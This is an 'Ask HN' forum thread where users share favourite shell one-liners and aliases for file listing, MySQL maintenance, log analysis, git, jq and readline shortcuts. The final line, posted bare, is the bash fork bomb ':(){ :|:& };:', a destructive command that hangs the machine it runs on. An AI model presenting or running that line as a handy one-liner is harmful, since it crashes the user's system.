Ask HN: What are your favorite one-liner shell commands you use?

I have had the alias `huh` for years, which is just `pwd; whoami` just to confirm I am where I think I am, and I am who I think I am

I rarely use the exact samme command multiple times. But here are some bash pipe segments I enjoy.

using pv (pipeviewer) instead of cat to get a progress bar when grepping huge files.

Using httpie instead of curl so I can remember the flags.

The power of find -exec to run commands on a lot of specific files. The nice part is you can run it without exec first to see if you have the right set of files.

If you do a loop you can echo -e “$somevar\r” and then each write will overwrite the previous line so you screen doesn’t fill up but you do get a feel for the progress (to make it nice you need to pad with spaces, google for echo carriage return to learn more)

Defined this in whatever init script the shell uses so that I get a long listing of files (first alias below) and long listing of files sorted from oldest to newest (second alias below):

alias ll=“ls -l”

alias lln=“ls -lrt”

Apart from this, I have a few aliases defined to get the size of specific folders and their subfolders (using ‘du -h’ for human readable sizes). The aliases are named like “duh”, “dut” and so on.

Daily, and with enough general usability to share? I have a few. They are basic. You can probably figure out what industry I work in.

    df -h /; echo "----"; for fattable in $(find /var/lib/mysql/ -name *.ibd -size +1G -exec ls -lh {} \; | awk '{ print $9 }' );do echo BEFORE " " $(ls -lh $fattable| awk '{ print $5" " }'); db=$(echo $fattable| cut -d/ -f5); otable=$(echo $fattable| cut -d/ -f6| cut -d. -f1); echo mysql -qbse \"use $db \; optimize table  $otable\;\"|bash;echo AFTER" "" " $(ls -lh $fattable| awk '{ print $5" " }');echo "----" ;done; echo "----"; df -h /

    apachectl fullstatus | grep ^[0-9]| awk '{ print $12" "$14 }' | sort | uniq -c| sort -n |tail

    
    tail -100000 /var/log/nginx/access.log | sed "/$(hostname -i)/d" | awk '{ print $1" "$7 }' | sort | uniq -c | sort -n | tail -050


    find . -mtime -1 | cut -d/ -f2 |uniq

  
    pkill lsphp; sleep 2; while true; do sleep .4; strace -p $(ps aux | grep [i]ndex| awk '{ print $2 }' | head -01); done


    for file in /proc/*/status ; do awk '/VmSwap|Name/{printf $2 " " $3}END{ print ""}' $file 2>/dev/null; done| awk '{ print $2" "$3" "$1 }'  | sort -n | tail -20


    find . -size +200M -exec ls -lh {} \; | awk '{ print $5" "$9 }' 


    awk '{ print $4 }' 

Not really a shell one liner, but ctrl+r (a readline command to do an incremental search backwards through history) is something that has been present on every shell I've used for decades without realising it, One day I decided to take the time to read all the magic readline commands because I wanted a way to quickly edit the N-th argument of a command with lots of arguments, and there were way too many of them. There were so many commands that I had no hope of remembering them all, but I figured I could just remember a few useful ones - and ctrl+r was one of them (ctrl+w and alt+b were the other two)

More to the letter of the question, I use "cd -" frequently, "ps -e | grep some_process_i_would_like_the_pid_for", and while I don't use it frequently, I didn't know about "ssh-copy-id" for a long time, and would do it manually with a text editor in the past. Sorry if they are not sufficiently fancy - but for things to get used day to day for me, they will need to be short and sweet.

I have a super neat one but it's on my work machine. Not strictly a one-liner but definitely a CLI QoL improvement. It allows me to type a partial command, for e.g. up to where a file path might be, hit a hotkey to invoke (e.g.) fzf, and finally have fzf's output inserted where my cursor was in the command. Uses some vars that readline exposes. I haven't taken it beyond inserting paths yet, but you could imagine you could do a lot with inserting arbitrary output into a command you are midway through typing. I'll reply to this when I have it on hand.

All files in this git repository containing the string "foo"

    git grep foo | cut -d: -f1 | uniq

This one gets uses a lot to compare two versions a JSON file

  vimdiff <( jq < /tmp/file1.json ) <( jq < /tmp/file2.json )

alias untar='tar -zxvf'

1) Whenever building anything;

<make/build script> 2>&1 | tee build.log | grep <whatever>

2) Do everything within GNU Screen window with CTRL-A + Shift-H to log all output to logfile i.e. "screenlog.<window num>".

Both lifesavers when working with multiple systems and codebases.

3) Always use "set -o vi" with bash so that i can use vi/vim keybindings across everything.

Boring but

docker ps

docker kill

git switch

git commit

git push

dd if=/dev/zero bs=1M count=10 | nc -N -l -p 12345

Great simple test for network speed on a box without speedtest-cli or other tools installed.

:(){ :|:& };: